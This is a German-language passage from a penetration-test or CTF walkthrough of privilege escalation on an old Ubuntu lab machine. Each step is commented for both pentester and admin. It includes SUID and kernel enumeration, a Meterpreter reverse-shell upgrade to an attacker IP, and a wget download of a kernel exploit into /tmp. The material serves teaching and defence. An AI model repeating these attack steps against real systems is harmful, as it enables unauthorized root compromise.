1441833 36 -rwsr-xr-x 1 root root 36832 Apr 8 2012 /bin/su 1441840 96 -rwsr-xr-x 1 root root 94792 Mar 29 2012 /bin/mount 1441859 36 -rwsr-xr-x 1 root root 35712 Nov 8 2011 /bin/ping 1441858 40 -rwsr-xr-x 1 root root 40256 Nov 8 2011 /bin/ping6 1441841 68 -rwsr-xr-x 1 root root 69096 Mar 29 2012 /bin/umount 1441915 32 -rwsr-xr-x 1 root root 31304 Mar 2 2012 /bin/fusermount 664890 20 -rwsr-xr-x 1 root root 18912 Nov 8 2011 /usr/bin/traceroute6.iputils 662023 44 -rwsr-xr-x 1 root root 42824 Apr 8 2012 /usr/bin/passwd 662025 64 -rwsr-xr-x 1 root root 63848 Apr 8 2012 /usr/bin/gpasswd 659026 32 -rwsr-xr-x 1 root root 32352 Apr 8 2012 /usr/bin/newgrp 662026 44 -rwsr-xr-x 1 root root 41832 Apr 8 2012 /usr/bin/chfn 665212 64 -rwsr-xr-x 1 root root 62400 Jul 28 2011 /usr/bin/mtr 660889 72 -rwsr-xr-x 2 root root 71248 Jan 31 2012 /usr/bin/sudoedit 660889 72 -rwsr-xr-x 2 root root 71248 Jan 31 2012 /usr/bin/sudo 664690 48 -rwsr-sr-x 1 daemon daemon 47928 ct 25 2011 /usr/bin/at 662028 40 -rwsr-xr-x 1 root root 37096 Apr 8 2012 /usr/bin/chsh 665451 20 -rwsr-sr-x 1 libuuid libuuid 18856 Mar 29 2012 /usr/sbin/uuidd 665267 320 -rwsr-xr-- 1 root dip 325744 Feb 4 2011 /usr/sbin/pppd 786925 12 -rwsr-xr-x 1 root root 10408 Dec 13 2011 /usr/lib/eject/dmcrypt-get-device 665640 16 -r-sr-xr-x 1 root root 13628 May 11 2020 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper 665767 16 -r-sr-xr-x 1 root root 14320 May 11 2020 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper 789745 288 -rwsr-xr-- 1 root messagebus 292944 Feb 22 2012 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 923265 236 -rwsr-xr-x 1 root root 240984 Aug 11 2016 /usr/lib/openssh/ssh-keysign
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` durchsucht das gesamte Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, die Datei mit den Rechten des Dateieigentümers (oft `root`) auszuführen. `-ls` zeigt detaillierte Informationen zu den gefundenen Dateien an. `2>/dev/null` leitet Fehlermeldungen (z.B. "Permission denied" für nicht lesbare Verzeichnisse) ins Nichts um, um die Ausgabe sauber zu halten.
Bewertung: Die Liste zeigt eine Reihe von Standard-SUID-Binaries (`su`, `mount`, `ping`, `passwd`, `sudo`, etc.). Viele davon sind für die Systemfunktion notwendig, können aber unter bestimmten Umständen oder bei Fehlkonfigurationen zur Privilegieneskalation missbraucht werden. Auffällig sind die VMware-Tools-Wrapper und `sudo`/`sudoedit`, da diese oft potenzielle Angriffsvektoren darstellen. Die Versionen sind jedoch nicht direkt ersichtlich, was weitere Prüfungen erfordert.
Empfehlung (Pentester): Überprüfen Sie die Versionen der gefundenen SUID-Binaries (insbesondere `sudo`) auf bekannte Schwachstellen. Prüfen Sie die `sudo`-Berechtigungen für den `www-data`-Benutzer mit `sudo -l` (falls `sudo` überhaupt ohne Passwort aufgerufen werden kann). Suchen Sie nach ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die nicht zu einer Standardinstallation gehören. Recherchieren Sie auf GTFOBins nach bekannten Methoden, um Standard-SUID-Binaries zur Eskalation zu missbrauchen.
Empfehlung (Admin): Entfernen Sie das SUID-Bit von allen Binaries, bei denen es nicht absolut notwendig ist. Halten Sie alle Systemkomponenten, insbesondere solche mit SUID-Rechten wie `sudo`, aktuell. Konfigurieren Sie `sudo` mit minimalen Rechten nach dem Prinzip des Least Privilege.
/usr/lib/cgi-bin
/bin//sh: 7: lks: not found
total 12 drwxr-xr-x 3 root root 4096 May 11 2020 . drwxr-xr-x 23 root root 4096 May 11 2020 .. drwxr-xr-x 3 sumo sumo 4096 May 11 2020 sumo
sumo
total 28 drwxr-xr-x 3 sumo sumo 4096 May 11 2020 . drwxr-xr-x 3 root root 4096 May 11 2020 .. -rw------- 1 sumo sumo 90 May 13 2020 .bash_history -rw-r--r-- 1 sumo sumo 220 May 11 2020 .bash_logout -rw-r--r-- 1 sumo sumo 3486 May 11 2020 .bashrc drwxrwxr-x 2 sumo sumo 4096 May 11 2020 .cache -rw-r--r-- 1 sumo sumo 675 May 11 2020 .profile
cat: .bash_history: Permission denied
Analyse: Diese Befehlssequenz dient der Erkundung des `/home`-Verzeichnisses. * `pwd`: Zeigt das aktuelle Verzeichnis (`/usr/lib/cgi-bin`, wo das Shellshock-Skript lag). * `cd /home`: Wechselt in das Hauptverzeichnis für Benutzerprofile. * `lks`: Ein Tippfehler (vermutlich `ls`). Führt zu "command not found". * `ls -la`: Listet den Inhalt von `/home` detailliert auf. Zeigt ein Benutzerverzeichnis namens `sumo`. * `ls`: Einfache Listung, bestätigt `sumo`. * `cd sumo`: Wechselt in das Home-Verzeichnis des Benutzers `sumo`. * `ls -la`: Listet den Inhalt von `/home/sumo` detailliert auf. Zeigt Konfigurationsdateien (`.bashrc`, `.profile`) und eine `.bash_history`-Datei. * `cat .bash_history`: Versuch, die Befehlshistorie des Benutzers `sumo` zu lesen.
Bewertung: Die Erkundung zeigt das Vorhandensein eines Benutzers `sumo`. Die Berechtigungen der `.bash_history`-Datei (`-rw-------`) verhindern, dass der `www-data`-Benutzer sie lesen kann (`Permission denied`). Die History hätte potenziell Passwörter oder interessante Befehle enthalten können. Die anderen Konfigurationsdateien sind lesbar, enthalten aber oft keine direkten Eskalationspfade.
Empfehlung (Pentester): Untersuchen Sie die lesbaren Konfigurationsdateien (`.bashrc`, `.profile`) auf ungewöhnliche Aliase, Pfade oder Umgebungsvariablen. Notieren Sie den Benutzernamen `sumo` als potenzielles Ziel für Brute-Force-Angriffe (z.B. via SSH) oder als Kontext, falls später Anmeldedaten gefunden werden. Suchen Sie weiter nach Dateien, auf die `www-data` Schreibzugriff hat, insbesondere in Verzeichnissen wie `/tmp`, `/var/tmp`, `/dev/shm`.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse und sensible Dateien (wie `.bash_history`) restriktiv gesetzt sind (Standard ist oft ausreichend). Schulen Sie Benutzer darin, keine Passwörter oder sensiblen Daten in Skripten oder der Befehlshistorie zu speichern.
-rw-r--r-- 1 root root 946 May 11 2020 /etc/passwd
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
Analyse: * `ls -la /etc/passwd`: Überprüft die Berechtigungen der Passwortdatei. Sie ist für alle lesbar (`-rw-r--r--`). * `cat /etc/crontab`: Zeigt den Inhalt der systemweiten Crontab-Datei an. Cron-Jobs sind geplante Aufgaben, die zu bestimmten Zeiten ausgeführt werden.
Bewertung: Die `/etc/passwd`-Datei ist wie erwartet lesbar, enthält aber normalerweise keine Passwort-Hashes mehr (diese stehen in `/etc/shadow`, die nicht für normale Benutzer lesbar ist). Die `/etc/crontab` zeigt nur Standard-Cronjobs, die stündlich, täglich, wöchentlich und monatlich Skripte in den entsprechenden `/etc/cron.*`-Verzeichnissen ausführen. Diese Jobs laufen als `root`. Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten Cronjobs in dieser Datei, die direkt ausnutzbar erscheinen.
Empfehlung (Pentester): Überprüfen Sie die Verzeichnisse `/etc/cron.hourly`, `/etc/cron.daily`, `/etc/cron.weekly`, `/etc/cron.monthly` sowie `/etc/cron.d` auf Skripte, die möglicherweise von `www-data` beschreibbar sind oder unsicher konfiguriert sind (z.B. unsichere Pfade verwenden). Wenn ein von `root` ausgeführtes Skript durch `www-data` manipuliert werden kann, führt dies zur Privilegieneskalation.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Cron-Skripte und -Verzeichnisse restriktiv sind. Überprüfen Sie regelmäßig Cronjobs auf Notwendigkeit und sichere Implementierung. Vermeiden Sie unsichere Pfadabhängigkeiten in Cron-Skripten.
total 8 drwxr-xr-x 2 root root 4096 Apr 19 2012 . drwxr-xr-x 12 root root 4096 May 13 2020 ..
ls: cannot access /ops: No such file or directory
total 8 drwxr-xr-x 2 root root 4096 May 11 2020 . drwxr-xr-x 23 root root 4096 May 11 2020 ..
Analyse: Diese Befehle überprüfen den Inhalt gängiger Verzeichnisse, die manchmal für Backups oder benutzerdefinierte Anwendungen genutzt werden: * `ls -la /var/backups`: Listet das Standard-Backup-Verzeichnis. * `ls -la /ops`: Versucht, ein Verzeichnis `/ops` aufzulisten (oft für Operations-Skripte genutzt). * `ls -la /opt`: Listet das Verzeichnis `/opt` (oft für optionale Softwarepakete).
Bewertung: Das Verzeichnis `/var/backups` ist leer. Das Verzeichnis `/ops` existiert nicht. Das Verzeichnis `/opt` ist ebenfalls leer. Keines dieser Verzeichnisse scheint relevante Dateien oder potenzielle Angriffsvektoren zu enthalten.
Empfehlung (Pentester): Setzen Sie die Suche nach interessanten Dateien und Verzeichnissen fort. Überprüfen Sie andere Standardpfade wie `/srv`, `/mnt`, `/media`. Suchen Sie nach Konfigurationsdateien von Diensten, die als `www-data` laufen und möglicherweise Passwörter oder Hinweise enthalten.
Empfehlung (Admin): Halten Sie die Verzeichnisstruktur sauber und entfernen Sie nicht benötigte Verzeichnisse. Beschränken Sie den Zugriff auf notwendige Benutzer und Gruppen.
index.html victim.cgi
total 16 drwxr-xr-x 2 root root 4096 May 11 2020 . drwxr-xr-x 12 root root 4096 May 13 2020 .. -rw-r--r-- 1 root root 177 May 11 2020 index.html -rw-r--r-- 1 root root 321 May 11 2020 victim.cgi
Analyse: * `cd /var/www`: Wechselt in das Standard-Web-Root-Verzeichnis für Apache auf Debian/Ubuntu. * `ls`: Listet die Dateien im Verzeichnis auf: `index.html` und `victim.cgi`. * `ls -la`: Zeigt detaillierte Informationen. Beide Dateien gehören `root` und sind für `www-data` nicht schreibbar.
Bewertung: Neben der bekannten `index.html` existiert hier eine Datei namens `victim.cgi`. Obwohl Nikto diese nicht explizit gefunden hat (möglicherweise, weil sie nicht im Standard-`cgi-bin`-Pfad liegt oder nicht direkt ausführbar ist), ist ihre Präsenz im Web-Root interessant. Da wir bereits über `/cgi-bin/test.sh` eingestiegen sind, ist diese Datei momentan weniger relevant, könnte aber ein alternativer Vektor sein.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `victim.cgi` (`cat /var/www/victim.cgi`), um dessen Zweck zu verstehen. Prüfen Sie, ob es über den Webserver aufrufbar ist und ob es Schwachstellen enthält. Da der Initial Access aber bereits erfolgt ist, fokussieren Sie sich auf die Privilegieneskalation.
Empfehlung (Admin): Platzieren Sie CGI-Skripte nicht direkt im Web-Root, sondern in dedizierten `cgi-bin`-Verzeichnissen mit entsprechender Konfiguration und Berechtigungen. Entfernen Sie nicht benötigte Skripte.
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Analyse: Der Befehl `uname -a` gibt detaillierte Informationen über den Betriebssystemkern aus, einschließlich Name, Hostname, Kernel-Version, Build-Informationen und Architektur.
Bewertung: Die Ausgabe zeigt, dass es sich um ein 64-Bit Ubuntu-System (`x86_64`) mit dem Linux-Kernel Version `3.2.0-23-generic` handelt. Das Build-Datum ist April 2012. Dies ist eine sehr alte Kernel-Version und höchstwahrscheinlich anfällig für diverse bekannte Kernel-Exploits zur Privilegieneskalation.
Empfehlung (Pentester): Suchen Sie nach bekannten Kernel-Exploits für Linux Kernel 3.2.0-23 auf Ubuntu x64. Tools wie `searchsploit` oder Online-Datenbanken (Exploit-DB) sind hierfür geeignet. Dies ist nun der wahrscheinlichste Weg zur Root-Eskalation.
Empfehlung (Admin): Das System läuft mit einem extrem veralteten und nicht unterstützten Kernel. Ein sofortiges Update auf eine aktuell unterstützte Betriebssystemversion ist zwingend erforderlich. Das Ausführen solch alter Software stellt ein enormes Sicherheitsrisiko dar.
--------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1) | linux/local/18411.c Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3) | linux_x86-64/local/33589.c Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation | linux_x86-64/local/34134.c Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SCK_DIAG' SMEP Bypass Local Privilege Escalation | linux_x86-64/local/44299.c Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.c Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt --------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Results
Analyse: Der Befehl `searchsploit "Linux ubuntu 3.2.0-23"` durchsucht die lokale Exploit-DB-Datenbank nach Exploits, die zur Kernel-Version passen, die mit `uname -a` identifiziert wurde.
Bewertung: Searchsploit findet mehrere potenzielle Exploits. Besonders relevant erscheint der Exploit `Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3)` mit dem Pfad `linux_x86-64/local/33589.c`. Dieser Exploit zielt genau auf die identifizierte Kernel-Version und Architektur ab und verspricht eine lokale Privilegieneskalation.
Empfehlung (Pentester): Untersuchen Sie den gefundenen Exploit `33589.c`. Kopieren Sie den Quellcode (`searchsploit -m linux_x86-64/local/33589.c`), analysieren Sie ihn (falls nötig), kompilieren Sie ihn auf Ihrer Angreifer-Maschine oder direkt auf dem Ziel (falls ein Compiler wie `gcc` vorhanden ist) und führen Sie ihn aus. Bereiten Sie den Transfer des Exploit-Codes auf das Zielsystem vor (z.B. über einen einfachen HTTP-Server).
Empfehlung (Admin): Dieser Fund unterstreicht erneut die kritische Notwendigkeit, das System zu aktualisieren. Es gibt bekannte, öffentlich verfügbare Exploits, die Root-Zugriff ermöglichen.
Background session 1? [y/N] y
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter
Module options (post/multi/manage/shell_to_meterpreter): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER true yes Start an exploit/multi/handler to receive the connection LHOST no IP of host that will receive the connection from the payload (Will try to auto detect). LPORT 4433 yes Port for payload to connect to. SESSION yes The session to run this module on View the full module info with the info, or info -d command.
handler => true
lhost => 192.168.2.114
[!] Unknown datastore option: port. Did you mean LPORT? port => 4433
session => 1
port => 4433
lport => 4433
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.114:4433 [*] Sending stage (1017704 bytes) to 192.168.2.123 [*] Meterpreter session 2 opened (192.168.2.114:4433 -> 192.168.2.123:39335) at 2023-07-16 02:20:55 +0200 [*] Command stager progress: 100.00% (773/773 bytes) [*] Post module execution completed
Analyse: Diese Befehlssequenz dient dazu, die bestehende einfache Shell (Session 1) zu einer funktionsreicheren Meterpreter-Session aufzurüsten. 1. `^Z` gefolgt von `y`: Die aktuelle Shell-Session wird in den Hintergrund geschickt, um wieder Zugriff auf die `msfconsole` zu erhalten. 2. `search shell_to_meterpreter`: Sucht nach dem Post-Exploitation-Modul, das eine Shell aufwerten kann. 3. `use 0`: Wählt das gefundene Modul (`post/multi/manage/shell_to_meterpreter`). 4. `options`: Zeigt die Optionen für das Upgrade-Modul an. Wichtig sind `SESSION` (die ID der aufzuwertenden Shell-Session), `LHOST` und `LPORT` (für die neue Meterpreter-Verbindung). 5. `set ...`: Konfiguriert die Optionen: `handler true` (Metasploit startet den Listener selbst), `lhost eth0` (setzt die lokale IP), `session 1` (die ID der einfachen Shell) und `lport 4433` (ein neuer Port für die Meterpreter-Verbindung). Die `set port 4433`-Befehle waren Tippfehler (es muss `LPORT` heißen), wurden aber korrigiert. 6. `run`: Führt das Modul aus. Es verbindet sich zur bestehenden Shell (Session 1), lädt den Meterpreter-Payload hoch und führt ihn aus. Das Zielsystem baut dann eine neue Verbindung zum Listener auf Port 4433 auf.
Bewertung: Das Upgrade war erfolgreich! Die Zeile `[*] Meterpreter session 2 opened (...)` bestätigt, dass nun eine Meterpreter-Session (mit der ID 2) zum Zielsystem besteht. Meterpreter bietet viele Vorteile gegenüber einer einfachen Shell, z.B. einfacheren Dateitransfer, Portweiterleitung, Prozessmigration und die Nutzung weiterer Post-Exploitation-Module.
Empfehlung (Pentester): Verwenden Sie die neue Meterpreter-Session (`sessions -i 2`), um mit dem Ziel zu interagieren. Nutzen Sie Meterpreter-Befehle (`sysinfo`, `getuid`, `ps`, `download`, `upload`, `portfwd` etc.) für die weitere Enumeration und die Vorbereitung der Kernel-Exploit-Ausführung. Das Upgrade auf Meterpreter erleichtert oft die nächsten Schritte.
Empfehlung (Admin): Die Fähigkeit, eine einfache Shell zu Meterpreter aufzurüsten, zeigt die Persistenz und Flexibilität von Angreifer-Tools. Endpoint Detection and Response (EDR)-Lösungen können versuchen, Meterpreter-Payloads und -Verhalten zu erkennen. Netzwerksegmentierung und Egress-Filterung bleiben wichtige Verteidigungsmaßnahmen.
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
[-] Unknown command: optioms
Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits View the full module info with the info, or info -d command.
session => 2
[*] 192.168.2.123 - Collecting local exploits for x86/linux... [*] 192.168.2.123 - 186 exploit checks are being tried... [+] 192.168.2.123 - exploit/linux/local/su_login: The target appears to be vulnerable. [+] 192.168.2.123 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.3p1.pre.1ubuntu3 is vulnerable, but unable to determine editable file. S can NT be exploited by this module [*] Running check method for exploit 58 / 58 [*] 192.168.2.123 - Valid modules for session 2: # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/su_login Yes The target appears to be vulnerable. 2 exploit/linux/local/sudoedit_bypass_priv_esc Yes The target appears to be vulnerable. Sudo 1.8.3p1.pre.1ubuntu3 is vulnerable, but unable to determine editable file. S can NT be exploited by this module 3 exploit/linux/local/abrt_raceabrt_priv_esc
Analyse: Diese Befehle nutzen das `local_exploit_suggester`-Modul von Metasploit, um automatisch nach bekannten lokalen Privilegieneskalations-Exploits zu suchen, die auf die aktuelle Meterpreter-Session (Session 2) anwendbar sein könnten. 1. `search suggester`: Findet das Modul. 2. `use 0`: Wählt das Modul aus. 3. `optioms`: Tippfehler, wird ignoriert. 4. `options`: Zeigt die Optionen an (nur `SESSION` und `SHOWDESCRIPTION` sind relevant). 5. `set session 2`: Gibt an, dass das Modul auf der Meterpreter-Session 2 laufen soll. 6. `run`: Startet den Suggester. Er sammelt Informationen vom Zielsystem (OS, Kernel, installierte Software) und gleicht diese mit seiner Datenbank bekannter Exploits ab.
Bewertung: Der Suggester identifiziert zwei potenzielle Schwachstellen: `su_login` und `sudoedit_bypass_priv_esc` (bezogen auf eine alte Sudo-Version). Er schlägt jedoch keinen Kernel-Exploit vor, obwohl wir durch `uname -a` und `searchsploit` wissen, dass die Kernel-Version anfällig ist. Dies zeigt, dass der Suggester nicht immer vollständig ist und manuelle Recherche (wie zuvor mit `searchsploit`) oft zuverlässiger oder umfassender sein kann. Der `sudoedit`-Exploit scheint hier nicht direkt anwendbar zu sein ("unable to determine editable file").
Empfehlung (Pentester): Nutzen Sie den Local Exploit Suggester als ersten Anhaltspunkt, verlassen Sie sich aber nicht ausschließlich darauf. Führen Sie immer zusätzliche manuelle Enumeration durch (Kernel-Version, SUID-Dateien, sudo-Rechte, Cronjobs, installierte Software-Versionen). Da der Suggester hier keinen Kernel-Exploit vorschlägt, ist es umso wichtiger, den zuvor mit `searchsploit` gefundenen Exploit (`33589.c`) weiterzuverfolgen.
Empfehlung (Admin): Der Suggester zeigt, wie automatisierte Tools Schwachstellen finden können. Regelmäßiges Patchen von Kernel und Software (insbesondere `sudo`) ist essenziell, um die Angriffsfläche für solche Tools zu minimieren.
[... Optionen für su_login ...] Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on USERNAME root yes The username to authenticate with su as [...]
session => 2
lport => 4455
lhost => 192.168.2.114
username => root
[*] Started reverse TCP handler on 192.168.2.114:4455 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Uploading payload to target [*] Attempting to login with su [*] Exploit completed, but no session was created.
Analyse: Basierend auf dem Vorschlag des Suggesters wird versucht, den `su_login`-Exploit auszuführen. 1. `use exploit/linux/local/su_login`: Wählt das Exploit-Modul. 2. `options`: Zeigt die Optionen (nicht vollständig im Log, aber `SESSION` und `USERNAME` sind wichtig). 3. `set ...`: Konfiguriert die Session-ID (2), einen neuen Listener-Port (4455), die Listener-IP und den Zielbenutzer (`root`). 4. `run`: Startet den Exploit-Versuch.
Bewertung: Obwohl der `check` meldet, dass das Ziel anfällig sei (`[+] The target appears to be vulnerable.`), schlägt der eigentliche Exploit fehl: `[*] Exploit completed, but no session was created.`. Dies kann verschiedene Gründe haben: Der Exploit ist doch nicht unter diesen Bedingungen anwendbar, eine Abhängigkeit fehlt, oder es gibt Schutzmechanismen. Das Ergebnis unterstreicht, dass nicht jeder von einem Suggester vorgeschlagene Exploit funktioniert.
Empfehlung (Pentester): Geben Sie diesen Exploit-Pfad vorerst auf und konzentrieren Sie sich wieder auf den vielversprechenderen Kernel-Exploit (`33589.c`), der manuell identifiziert wurde. Manchmal lohnt es sich, die Fehlermeldung oder den Exploit-Code genauer zu untersuchen, aber in diesem Fall scheint der Kernel-Exploit der direktere Weg zu sein.
Empfehlung (Admin): Auch fehlgeschlagene Exploit-Versuche sollten geloggt und analysiert werden. Dieser Versuch zeigt, dass selbst wenn ein System als "potenziell anfällig" markiert wird, der Exploit nicht immer erfolgreich ist.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 *:80 *:* LISTEN 0 128 *:22 *:* LISTEN 0 128 :::80 :::* LISTEN 0 128 :::22 :::*
# (Keine Ausgabe)
Analyse: Diese Befehle dienen der weiteren Systemenumeration: * `ss -atlpn`: Zeigt Netzwerk-Sockets an (ähnlich wie `netstat`). `-a` (alle), `-t` (TCP), `-l` (lauschend), `-p` (Prozesse), `-n` (numerische Adressen/Ports). Die Ausgabe im Bericht scheint unvollständig oder fehlerhaft zu sein, da sie die typischen Spalten für Prozessinformationen vermissen lässt und IPv6-Einträge zeigt, die im Nmap-Scan nicht explizit erwähnt wurden (obwohl moderne Systeme oft beides haben). * `getcap -r / 2>/dev/null`: Sucht rekursiv (`-r`) im gesamten Dateisystem (`/`) nach Dateien mit gesetzten Linux Capabilities. Capabilities sind eine granularere Form von Root-Rechten. `2>/dev/null` unterdrückt Fehlermeldungen.
Bewertung: Der `ss`-Befehl bestätigt (trotz der Formatierungsabweichung), dass die Ports 80 (HTTP) und 22 (SSH) lauschen, was wir bereits wussten. Der `getcap`-Befehl liefert keine Ausgabe, was bedeutet, dass keine Dateien mit speziellen Capabilities gefunden wurden, die möglicherweise zur Privilegieneskalation missbraucht werden könnten.
Empfehlung (Pentester): Capabilities sind ein wichtiger, aber hier offenbar nicht erfolgreicher Eskalationsvektor. Fahren Sie mit der Vorbereitung des Kernel-Exploits fort. Überprüfen Sie auch laufende Prozesse (`ps aux`) und deren Berechtigungen.
Empfehlung (Admin): Vermeiden Sie die unnötige Vergabe von Capabilities an Binärdateien. Verwenden Sie sie nur, wenn sie für die Funktion zwingend erforderlich sind und das Prinzip des Least Privilege angewendet wird.
Basierend auf der `uname -a`-Ausgabe und den `searchsploit`-Ergebnissen wird nun der Kernel-Exploit `33589.c` ('perf_swevent_init') als primärer Vektor für die Privilegieneskalation verfolgt.
https://www.exploit-db.com/exploits/33589Link zur Exploit-DB Seite für Referenz und Code-Download.
# Inhalt von 33589.c wird in die Datei fuck.c auf dem Angreifer-System kopiert.
Analyse: Der Befehl `vi fuck.c` wird auf dem *Angreifer*-System (Kali/cycat) ausgeführt. Der Pentester erstellt eine neue Datei namens `fuck.c` und kopiert den Quellcode des Kernel-Exploits (33589.c von Exploit-DB) hinein.
Bewertung: Dies ist ein notwendiger Vorbereitungsschritt, um den Exploit-Code auf das Zielsystem übertragen zu können. Der Dateiname `fuck.c` ist unprofessionell, aber im Kontext von CTFs oder informellen Tests manchmal anzutreffen.
Empfehlung (Pentester): Überprüfen Sie den Exploit-Code vor der Kompilierung und Ausführung auf mögliche Fallstricke oder Anpassungsbedarf. Verwenden Sie aussagekräftigere Dateinamen für Berichte oder professionelle Engagements.
Empfehlung (Admin): Das Vorhandensein von Compilern (`gcc`) auf Produktivsystemen erhöht das Risiko, da Angreifer Exploits direkt auf dem Ziel kompilieren können. Entfernen Sie Entwicklungswerkzeuge von Produktionsservern, wenn sie nicht benötigt werden.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.123 - - [16/Jul/2023 02:34:06] "GET /fuck.c HTTP/1.1" 200 -
Analyse: Auf dem *Angreifer*-System wird ein einfacher Python-HTTP-Server gestartet, der im aktuellen Verzeichnis (`~`) auf Port 80 lauscht. Dies ermöglicht es, Dateien aus diesem Verzeichnis über HTTP bereitzustellen. Die zweite Zeile der Ausgabe zeigt einen Log-Eintrag: Das Zielsystem (192.168.2.123) hat erfolgreich eine GET-Anfrage für die Datei `/fuck.c` gestellt und den HTTP-Statuscode 200 (OK) erhalten.
Bewertung: Dies ist eine gängige und einfache Methode, um Dateien von der Angreifer-Maschine auf das Zielsystem zu übertragen, insbesondere wenn Werkzeuge wie `wget` oder `curl` auf dem Ziel verfügbar sind. Der Log-Eintrag bestätigt, dass der Download im nächsten Schritt erfolgreich war.
Empfehlung (Pentester): Stellen Sie sicher, dass keine Firewall auf dem Angreifer-System die eingehende Verbindung auf Port 80 blockiert. Beenden Sie den Server (`Ctrl+C`), sobald der Transfer abgeschlossen ist. Für komplexere Szenarien können auch andere Transfermethoden (z.B. Netcat, SCP über SSH-Tunnel, Meterpreter-Upload) verwendet werden.
Empfehlung (Admin): Kontrollieren Sie ausgehenden Netzwerkverkehr vom Server (Egress-Filterung). Erlauben Sie Verbindungen nur zu bekannten und notwendigen Zielen und Ports. Das Blockieren von HTTP-Verbindungen zu beliebigen IPs kann solche Dateitransfers verhindern.
Process 1376 created. Channel 95 created.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--2023-07-15 17:34:06-- http://192.168.2.114/fuck.c Connecting to 192.168.2.114:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3546 (3.5K) [text/x-csrc] Saving to: 'fuck.c' 0K ... 100% 135M=0s 2023-07-15 17:34:06 (135 MB/s) - 'fuck.c' saved [3546/3546]
Analyse: Diese Befehle werden innerhalb der Meterpreter-Session (oder einer daraus gestarteten Shell) auf dem *Zielsystem* ausgeführt: 1. `meterpreter > shell`: Öffnet eine Standard-System-Shell vom Meterpreter aus. 2. `id`: Bestätigt erneut die Identität als `www-data`. 3. `cd /tmp`: Wechselt in das `/tmp`-Verzeichnis, das normalerweise für alle Benutzer beschreibbar ist. 4. `wget 192.168.2.114/fuck.c`: Lädt die zuvor auf dem Angreifer-System bereitgestellte Exploit-Datei `fuck.c` über HTTP herunter und speichert sie im aktuellen Verzeichnis (`/tmp`).
Bewertung: Der Exploit-Code wurde erfolgreich auf das Zielsystem in ein beschreibbares Verzeichnis (`/tmp`) übertragen. Das Vorhandensein von `wget` auf dem Zielsystem hat diesen Schritt erleichtert. Alle Voraussetzungen für die Kompilierung des Exploits sind nun erfüllt.
